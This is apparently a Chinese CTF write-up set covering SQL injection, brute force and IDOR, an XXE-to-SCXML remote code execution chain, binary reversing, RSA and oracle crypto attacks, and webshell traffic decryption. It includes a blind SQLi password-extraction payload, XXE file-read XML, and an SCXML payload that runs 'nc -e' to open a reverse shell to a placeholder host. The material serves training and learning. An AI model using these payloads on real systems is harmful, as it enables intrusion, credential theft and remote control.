数据安全题
端口管理系统
通过下载源码发现存在盲注
注入出sql语句
admin' and substr((select hex(password) from users where Username='admin'),1,1)>'0'/*
可以注入出来admin的密码
通过猜测aes加密格式编写脚本进行解密
key
首先打开是一个登录页面,在页面中有一个帮助手册文档链接注释:
访问手册文档,在文档中发现了泄漏的用户名dcic:
根据已有的用户名去爆破,得到弱口令000000:
进入到个人中心发现是通过id来查看的用户信息:
所以通过id来遍历,最终获得带有flag的用户信息:
XxMe
分析代码存在2个路由,xxe路由存在xxe漏洞,object路由时scxml的解析,先通过xxe jar协议上传临时文件
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = '0.0.0.0'
listen_port = 9999
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'rnrn' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:rn',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OKrn'''
'''Content-Type: application/java-archivernrn''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
然后临时文件会在tmp中生成,然后通过xxe列目录拿到临时文件名称,在临时文件被清理前,通过object路由加载poc.xml去完成rce
p1.xml
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///tmp/">]>
<test>
&file;
</test>
poc.xml
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<log expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('nc -e xxx.xxx.xxx.xxx')"/>
</onentry>
</state>
</scxml>
最后再读取就可以获取flag,也可以直接反弹shell
攻击步骤:
1.先通过xxe路由上传poc.xml
http://0.0.0.0:8080/xxe?uri=jar:http://0.0.0.0:8889/1.zip!/a.php
2.同时在通过xxe路由利用p1.xml列出tmp目录获取临时文件名称
3.最后通过目录穿越直接在object路由加载poc.xml完成rce
LetsGO
查看main函数,发现调用了net_Listen函数并且参数为“tcp”和“:8092“,可以推测出该题目监听了本地的8092端口用来接收tcp连接。
接下来调用了函数runtime_newproc,参数为函数 main_main_func1,可以推测是新建了goroutine来运行函数main_main_func1。
main_main_func1函数中调用了main_handle_connection函数,在此函数中首先调用了ReadBytes,又调用了main_handle_input函数,最后会输出字符串”You win”,所以主要判断逻辑应该是在函数main_handle_input中。
main_handle_input函数中调用了handle_tcp_Unpack_tcp_reply
函数,并将结果写到了[rsp+220h+var_1A0+offset]
中。
main_handle_input之后以”127.0.0.1″为参数调用了两次handle_tcp_Ip2int函数,handle_tcp_Ip2int函数中对字符串进行了一些分割、Atoi和位移操作,实现的功能就是将ip字符串以字符”.”分割然后转化为数字。
main_handle_input接下来构造了tcp pseudo header用来计算checksum,计算checksum之后过了一系列判断,以此可以推算出它接收的tcp包中header的各个参数: lport和rpotr分别为99和233、seqnum为0xdeadbeef、标志位为2(syn)其他按照标准tcp包来构造。
使用python写一份简单的交互脚本来测试,脚本可以构造tcp包并发送:
import struct
def ip2int(ip):
ip = ip.split('.')
result = 0
result = result + int(ip[3])
result = result + (int(ip[2]) << 8)
result = result + (int(ip[1]) << 16)
result = result + (int(ip[0]) << 24)
return result
def int2ip(i):
i = hex(i)[2:]
i = i.rjust(len(i) + (len(i) % 2), '0')
result = ''
result = result + str(int(i[:2], 16)) + '.'
result = result + str(int(i[2:4], 16)) + '.'
result = result + str(int(i[4:6], 16)) + '.'
result = result + str(int(i[6:8], 16))
return result
def pack_tcp_pseudo_header(data, laddr, raddr):
pseudo = struct.pack(
'!IIBBH',
laddr,
raddr,
0,
6,
len(data)
) + data
if len(pseudo)%2 !=0:
pseudo += b'x00'
return pseudo
def calculate_checksum(tcp):
highs = tcp[0::2]
lows = tcp[1::2]
checksum = ((sum(highs) << 8) + sum(lows))
while True:
carry = checksum >> 16
if carry:
checksum = (checksum & 0xffff) + carry
else:
break
checksum = ~checksum & 0xffff
return checksum
def pack_tcp_request(data):
lport = 99
rport = 233
seqnum = 0xdeadbeef
acknum = 0
flag = 0x8002
window = 0xffff
checksum = 0
urgentpointer = 0
option = [0x02, 0x04, 0x05, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x00 ,0x00 ,0x00 ,0x00]
tcp_pack = struct.pack(
"!HHIIHHHH",
lport,
rport,
seqnum,
acknum,
flag,
window,
checksum,
urgentpointer
) + bytes(option)
laddr = ip2int("127.0.0.1")
raddr = ip2int("127.0.0.1")
tcp_pack +=data
checksum = calculate_checksum(pack_tcp_pseudo_header(tcp_pack,laddr,raddr))
print(checksum)
tcp_pack = struct.pack(
"!HHIIHHHH",
lport,
rport,
seqnum,
acknum,
flag,
window,
checksum,
urgentpointer
) + bytes(option) + data
return tcp_pack
if __name__ == "__main__":
payload = pack_tcp_request(b'test')
print(payload)
from pwn import *
context.log_level = "debug"
sh = remote("127.0.0.1", 8092)
sh.sendline(payload)
sh.interactive()
运行题目之后再运行脚本的到如下报错:
说明程序运行到了最后的比对阶段:
通过最后的比对阶段,可以定位到比对数据res和经过处理的输入数据data,在对data溯源之前首先来科普一下golang中数组的存储方式和参数存储方式,golang数组会以一个18bytes大小的结构体进行存储,域中分别是指向真正数据的array指针、代表当前用到的数组长度len和数组的总共可用长度cap。然后golang的参数一般都会保存在rbp+正offset的位置,所以可以直接通过查看main_handle_input函数的栈桢定位我们的input数据。
溯源data来源,可以发先data由data0赋值,而data0是input加上了某些进行了奇怪的运算的出来的偏移。
溯源head_size,发现它是由tcp包中的flag的前四个bit(tcp包头部中的偏移)乘以4得来的,也就是tcp包头部的总长度。所以head_size-input_cap为负数,而负数向右位移63位就基本全是1了,所以data0=input+(head_size&0xffffffff)
,也就是data0=input+head_size
,所以data就是tcp包头部数据后面的所有数据。
溯源data.len(ida的伪代码没有正确识别),发现是从rdx寄存器传过来的,而rdx是从[rsp+220h+var_1E8]
赋值过来的,而[rsp+220h+var_1E8]
的值是input_length-head_size-1也就是data0的长度-1,之所以-1是因为data0的最后一个字符为换行。
依照上面的经验可以看出key.array = &data0[data_length_too - 4]
(这个data_length_too变量就是上图中的[rsp+220h+head_size])
,即data0中的后四个比特,而key.length=3
代表key只使用前三个字节(最后一个字节为换行符)
在初始化了长度为256的数组s和长度为3的数组k之后,函数又调用了两个加密函数,特征很明显,一眼就能看出来是rc4的init和crypt。
Enc1:
Enc2:
加密完成之后,我们数据长度要为28,然后和res数组进行比较,res的值已经写在函数开头了。所以大概的逻辑就是给指定端口发送一个tcp包,包含了数据data,以data的后三个字节为密钥对data进行rc4加密,加密出来的结果就是res。
有了逻辑就可以编写脚本解题了,三个字节的密钥不是很长,可以将res数据提取出来后进行爆破。脚本如下:
from Crypto.Cipher import ARC4
enc = [6, 116, 180, 226, 73, 13, 145, 54, 149, 157, 122, 254, 199, 169, 164, 161, 240, 246, 3, 86, 144, 250, 26, 50, 167, 109, 57, 238]
key = 0
for i in range(16777215):
key = i.to_bytes(3, "little")
rc4 = ARC4.new(key)
m = rc4.decrypt(bytes(enc))
# print(key)
if m[-3:] == key:
print(b"target is : "+key)
print(b"after decrypt: "+m)
运行完成之后有两个结果。
仔细观察一下源程序发现还有一个限制,即data必须是可见字符。所以即可得出正确的flag
nooblog
在linux上运行程序可以看出是gnu的prolog
, 但是只是一个解释器
查阅gnu prolog compiler
文档可知gprolog
支持将prolog
代码编译为native code
经过了若干阶段,将代码编译成字节码,mini assembly, assembly最终链接为可执行文件
也支持将代码编译为WAM
( Warren’s Abstract Machine)字节码,但是这种编译方式实际等同于consult/1的predicate, 一般只能在交互式解释器中使用
由于是native code, 所以解释器提供的调试支持trace/0与debug/0均无法对这部分代码进行调试
所以可以推断逻辑是以汇编形式而非字节码形式存在于文件中,运行题目只启动了交互式解释器,没有判断逻辑,题目也没有给出更多信息,
需要自己来逆向出更多的东西。
因为是非常规的语言,所以考虑先编写或摘选一些prolog代码来得到一些逆向的参考。
series(R1,R2,Re) :- Re is R1 + R2.
parallel(R1,R2,Re) :- Re is ((R1 * R2) / (R1 + R2)).
max(X,Y,X) :- X >= Y,!.
max(X,Y,Y) :- X < Y.
max_find(X,Y,Max) :- X >= Y,!, Max = X; Max = Y.
list_member(X,[X|_]) :- !.
list_member(X,[_|TAIL]) :- list_member(X,TAIL).
list_append(A,T,T) :- list_member(A,T),!.
list_append(A,T,[A|T]).
main :- write('hello world.'),
write("hello world").
程序运行时给出了具体的gprolog
版本,选取相近的版本来编译,以获得更接近的二进制文件
通过一些语言学习可以了解到prolog
内部将实体分为几大类,包含predicate谓词,atom, Number, Variable, list
其中较为容易混淆的一点是如“hello world”这样的字符串实际是list, 而‘hello world’属于atom
理解这些概念对于后续逆向理解ida伪代码时有较大帮助
gplc -o example example.pl
用ida打开
通过字符串交叉引用容易找到hello world字符串,同时发现代码中的一些全局变量会在Prolog_Object_Initializer
函数中初始化
同时文件内有非常多的gprolog
库函数,可以考虑使用bindiff
来恢复chall
中的符号信息
分析一下main函数的模式
可以注意到r12被作为一个特殊寄存器使用,在进行函数调用时如此处的X0_write__a1
会先将下一处函数地址存入r12+0x808
处
注意到下一个函数中形式较为特别
对应到代码应为
write("hello world").
可以推断出这里是创建list的代码
但是显然常数跟我们的设想的字节数组不大相同
查阅源码
可以看到一个UnTag_INT
从伪代码可以找到实际就是右移3位。简单检验一下可以发现确实是hello world的ascii码。
此时开始分析chall文件,使用bindiff插件导入刚才分析的example的i64
容易通过Object_Initializer
的交叉引用来找到chall的Prolog_Object_Initializer
函数
发现有非常多的predicate定义,有三百余个。其中比较令人在意的是check函数与三个handle函数。
运行程序,执行check谓词
猜测这个谓词就是检查flag正确与否的函数
单独调用一下trans系列函数
会发现似乎只是一个单调函数。测试一下其他的函数,发现效果类似。这说明极有可能这些函数并无实际用处。
测试handle函数,会发现是一个无参谓词,这代表handle函数没有对变量施加约束,测试其他handle系列函数,发现结果类似。极有可能是无效代码。
在ida中找到对应函数代码
会发现调用了Pl_Cut
函数,经过一些搜索,可以知道这是用于处理逻辑短路的函数,这说明handle0
函数可能是直接被逻辑短路直接返回。
而在Pl_Create_Choice_Point1
中的参数函数则是一个非常长且各个函数都较为相似的函数调用链
根据函数名字符串,可以发现这些函数基本都是trans系列的函数,这说明这些函数可能并没有被执行
分析check函数逻辑
根据atom初始化函数的引用可以看出调用的sub_45f7e0
应为read函数
然后进入下一个函数
可以看到调用了handle0, 根据上面的分析,先无视handle0
下一个函数中调用了Pl_Reverse_2, 搜索一下可知是prolog的将list反转的函数
容易推想是将输入的list进行了reverse操作,这里也可以自己编写一个reverse代码来进行验证比对
向下分析
遇到了handle1,无视,继续寻找下一个调用点进行分析
可以看到又调用了Sort_Initializer, 表明这也是一个对list进行操作的函数
并且通过qword_4f0648
的字符串可以找到一个trans76
查看此函数的操作,在sub_403d85
中发现了另一个trans函数,trans213
回到初始化函数,会发现这些被使用的函数都被单独加载
可以推测这里的* + -就能就是程序使用的一些变换
再分析下一个函数
发现跟我们之前见到的list形式十分相似,可以确定应该是在初始化一个list
注意到下方的Pl_Unify
且该函数没有对r12 + 0x808
再进行赋值
这说明该函数可能是整个check函数的结尾,对处理完的数据进行最终的比对
查阅Pl_Unify的源码逻辑也可佐证这一结论
提取出对应的数据,去掉tag
cipher = [15627,2603,11883,9043,2322,1883,9043,2419,9803,13014,4114,10834,9043,2843,11011,9043,4491,11011,3235,12339,2419,15163,10595,9427,11650,10422]
通过一些简单测试
可以发现trans系列函数的处理范围均是单值
不支持list
而prolog
是一个较为接近函数式的语言,可以采用如maplist
的函数,将一个函数应用在list上
因为flag应为可见ascii
字符,所以我们可以在这个范围内对trans76
和trans213
做一个遍历
容易得到trans213
的变换在0-0x7f
范围内与x ^ 26的结果一致
而trans76
的序列为
table = [8, 9, 12, 17, 24, 33, 44, 57, 72, 89, 108, 129, 152, 177, 204, 233, 264, 297, 332, 369, 408, 449, 492, 537, 584, 633, 684, 737, 792, 849, 908, 969, 1032, 1097, 1164, 1233, 1304, 1377, 1452, 1529, 1608, 1689, 1772, 1857, 1944, 2033, 2124, 2217, 2312, 2409, 2508, 2609, 2712, 2817, 2924, 3033, 3144, 3257, 3372, 3489, 3608, 3729, 3852, 3977, 4104, 4233, 4364, 4497, 4632, 4769, 4908, 5049, 5192, 5337, 5484, 5633, 5784, 5937, 6092, 6249, 6408, 6569, 6732, 6897, 7064, 7233, 7404, 7577, 7752, 7929, 8108, 8289, 8472, 8657, 8844, 9033, 9224, 9417, 9612, 9809, 10008, 10209, 10412, 10617, 10824, 11033, 11244, 11457, 11672, 11889, 12108, 12329, 12552, 12777, 13004, 13233, 13464, 13697, 13932, 14169, 14408, 14649, 14892, 15137, 15384, 15633, 15884, 16137]
容易发现序列的差值序列构成奇数序列
即2x+1
,同时根据初始值,可以求出该序列为x**2 + 8
梳理逻辑,首先将输入reverse, 后续使用trans76
跟trans213
来对序列进行变换
使用z3
来求解flag
from z3 import *
cipher = [15627,2603,11883,9043,2322,1883,9043,2419,9803,13014,4114,10834,9043,2843,11011,9043,4491,11011,3235,12339,2419,15163,10595,9427,11650,10422]
vars = [BitVec('x%d' % i,32) for i in range(len(cipher))]
s = Solver()
for i in range(len(cipher)):
s.add(vars[i] >= 0)
s.add(vars[i] <= 0x7f)
s.add((vars[i] * vars[i] + 8) ^ 26 == cipher[i])
if s.check() == sat:
m = s.model()
flag = ''
for var in vars:
flag += chr(m[var].as_long())
flag = flag[::-1]
print(flag)
else:
print("no solution")
lose the key
解密的时候从历史加密信息中寻找,如果找到匹配的值,那么就返回正确的解密结果
from pwn import *
from Crypto.Util.number import bytes_to_long as b2l
p = 128089164911531640990590765784773200968493171323261059867906539468112620135532345225043425471326265771711257864831829429613066083710876524796978175486809639625248469613672449388347488155780366208885117452670875814427200273181264186671150284174592272420292081821340751838551571173929440248825056978622776728779
g = 26150765091701995996158250738992292067378837192664694735141574882512044909531802916086796450437816931833030873491670453360996187715530084420083659020588595828913582439423037563391550384782320673460468562306467136768392225282754351106461044191656453897560430665815764601582548609472325196183920378401662469211
y = 57730237704210567353391949933814594705914620839607449374240860991542008824527552501062482142989796521760779923242984520583103451525344320324829572859418920975916135467107600649531033968938205707448509480629481920024629935630751793389206424948712426426995699419838572104825928892284256486630939991911144572382
z = 62108754904287032821971381232956885052769068054607609275042182309040123248979381249587936612457114553082984085473302992025047447258976388732555778861072247007820649687902442248057135518944999341930795894210983350234495243479752339988814594642849784670120645449023408944862789781184747815252870664480503695731
def _(_):
if type(_) == str:
_ = _.encode()
return pow(g, b2l(_), p)
io = remote('',)
context.log_level = 'debug'
io.sendlineafter(b'> ', b'2')
c1 = int(io.recvline())
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'b> ', str(c1).encode())
m1 = io.recvline().strip()
print(m1.decode())
mask1 = _(m1.decode())
attack = (c1 * pow(mask1, -1, p) * z) % p
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'b> ', str(attack).encode())
flag = io.recvuntil('}')
print(flag)
io.close()
math_exam
题目代码分成三个challenge
challenge1 leak了并且,并且是同一量级的,我们可以得到:
因此我们可以爆破,联立以下两式子:
即可解出,解密即可
challenge2 leak了,我们做一下推导:
我们即可用代替,解密即可
challenge3 leak了,推导如下:
联立得:
即可分解,正常解密即可
exp:
from Crypto.Util.number import *
def unpad(msg):
return msg.split(b"x00")[0]
# -------- challenge 1 --------
e = 65537
c = 112742443814287255411540092433156061065388404049949520959549377871297566383025041892192679147481155020865118811016470498351633875090973546567374001852295013083192495299811476604405637385307524194793969533646755764136014187430115618114840780368311166911900457224593131166970676797547489278410997707815915932756
n = 121127425328043404860413278637978444801342472819958112597540188142689720655042880213001676368390521140660355813910726809125567752172921410143437643574528335234973793653775043030021036875866776532570781661875022102733555943967261003246543180935987772711036868216508554536086688819118597075508026787867088355603
leak = 216638862637129382765636503118049146067015523924032194492700294200289728064297722088882791754351329407138196573832392846467607399504585045028165699421278
P.<x> = PolynomialRing(ZZ)
for k in range(1, 4):
f = k*(x-1)*x + leak*x - 2*n
try:
q = f.roots()[0][0]
break
except:
continue
p = n // q
d = inverse(e, (p-1)*(q-1))
m1 = int(pow(c, d, n))
print(unpad(long_to_bytes(m1)).decode(), end="")
# -------- challenge 2 --------
e = 65537
c = 7964477910021153997178145480752641882728907630831216554750778499596527781702830885213467912351097301767341858663701574005489585561370961723264247818377063081744522471774208105250855114831033452448184392499682147532404562876275189577321587660597603848038824026981539659156304028998137796242331160312370913038
n = 140571013522095816880929287025269553867630639381779595547026503691829940612178900269986625350464874598461222087427155791855120339533208468121389480964471710028253589422629569889402475311387750348466199387760629889238062977271925350490110043385800605640905324122017637306715108727700910035925728362455954862209
leak = 58442382248753295429370894053397615609981110383986887405127350139482893508400422595729520437678203735054593866306478994471465948872565590901376309380029015549809468112086393107585011072503638322671608471684607214064187044372418770555236721845694224676090744181562673509234801011420696349507624867568099759003
phi = e*leak - e*(n+1) - 1
d = pow(e, -1, phi)
m2 = int(pow(c, d, n))
print(unpad(long_to_bytes(m2)).decode(), end="")
# -------- challenge 3 --------
e = 65537
c = 54161995127842474543974770981473422085334044100057089719350274921419091368361244533281599379235907845996678762379778310924192757650322930707785543132446159092950451255660204858292974657119337026589911330412367633761103944916751660957776230135927005700707688661350641600954072696774954805514477330339449799540
n = 88207747624007183083381863279444163105330473097729276113333026679597864128605555600000789783468271680476780366740448641311570797876037993255307716167149079618302706650018518487351604778857406170722209469765782625409279109832638886179654096975665134276856272488090272822541461702907181545730309689190333058151
leak = 19596671928335648228117128090384865424885102632642665068992144783391306491716530155291726644158221224616817878768426330717188403310818678195631582453246848
g = x^2 - x*leak + n
q = g.roots()[0][0]
p = n // q
d = inverse(e, (p-1)*(q-1))
m3 = int(pow(c, d, n))
print(unpad(long_to_bytes(m3)).decode(), end="")
Are you ok
题目附件打开后发现是一个乱码的log日志文件,猜测是没有正常解析。
搜索后发现可以用Wireshark打开:
发现有两台设备通信,HUAWEI P10 Plus和小米手环Mi Band 5:
刚开始两台设备进行了认证通信,之后HUAWEI P10 Plus请求读取小米手环的电量,句柄为0x007e,Opcode为0x0a:
紧接着,HUAWEI P10 Plus收到了小米手环5的返回包,里面涵盖了电量等信息:
此时小米手环的电量为0x48,转为十进制为72,那么小米手环5的电量为72。
继续往下看,发现HUAWEI P10 Plus有一个Write的操作,句柄为0x007e,Opcode为0x12,这是Alert Notification Service的通信过程。
除此之外,可以看到HUAWEI P10 Plus还有另外一个Write的操作,句柄为0x0026,Opcode为0x52,这是Immediate Alert的通信过程。
而在Immediate Alert通信的过程中,可以发现有三种Value,相对应的Morse如下表所示:
Value | 0x00 | 0x01 | 0x02 |
---|---|---|---|
Morse | . | – | / |
可以写脚本将所有通信过程打印出来,并转化为Morse电码:
# -*- coding:utf8 -*-
import pyshark
pcap = pyshark.FileCapture('1.pcap', display_filter = 'btatt.opcode == 0x52')
flag = ''
for pkt in pcap:
opcode = str(pkt.btatt.value)
if opcode == '00':
flag += '.'
elif opcode == '01':
flag += '-'
elif opcode == '02':
flag += '/'
print(flag)
# .../--../--../--./...-/--/./...../-----
Beyond
题目附件使用Wireshark打开后发现是一段经过加密的流量:
起初,有ICMP协议的流量,分析后发现是攻击者发送Ping命令确认主机存活状态,之后有很多垃圾干扰流量:
经过仔细分析后发现,有一个.index.php的shell在进行通信:
追踪TCP流后可以看到是经过加密的流量,加密后的结果很像base64。
分析后得知,这个是冰蝎V4.0的流量,服务端是PHP,使用默认的aes算法,但是由于默认使用的是aes128的算法,会导致密文长度恒是16的整数倍,可以对默认算法做一个简单修改,在密文最后最加一个magic尾巴,随机产生一个随机长度的额外字节数组,简称aes_with_magic算法。
那么可以写脚本来还原加密之后的流量,密钥选择top500来爆破即可:
import re
import base64
import hashlib
from Crypto.Cipher import AES
def Decrypt(key, data):
magicNum = int(key[:2], 16) % 16 # 魔数长度
data = data[:len(data) - magicNum] # 去掉魔数
c = AES.new(key, AES.MODE_ECB)
decodebs = base64.b64decode(data)
return c.decrypt(decodebs)
def Key_Brute(data):
with open('top500.txt', 'rb') as f:
plain = [i.strip() for i in f.readlines()]
for i in plain:
md5_enc = hashlib.md5(i).hexdigest()
try:
key = md5_enc[:16].encode()
AES_dec = Decrypt(key, data).decode('utf-8')
cmd = re.findall(r'[sS]$cmd="(.*?)"', AES_dec)
if cmd:
# print('[*] Crack Success!!!' + 'n' + '[*] The Key is ' + md5_enc[:16] + 'n' + '[*] Decode Text:' + 'n' + AES_dec)
print('[*] Crack Success!!!' + 'n' + '[*] Key: ' + i.decode('utf-8') + 'n[*] Webshell Key: ' + md5_enc[:16])
payload = base64.b64decode(cmd[0]).decode('utf-8')
print('[*] Payload: ' + payload)
break
except Exception as e:
print('[-] Crack Failed')
if __name__ == '__main__':
data = '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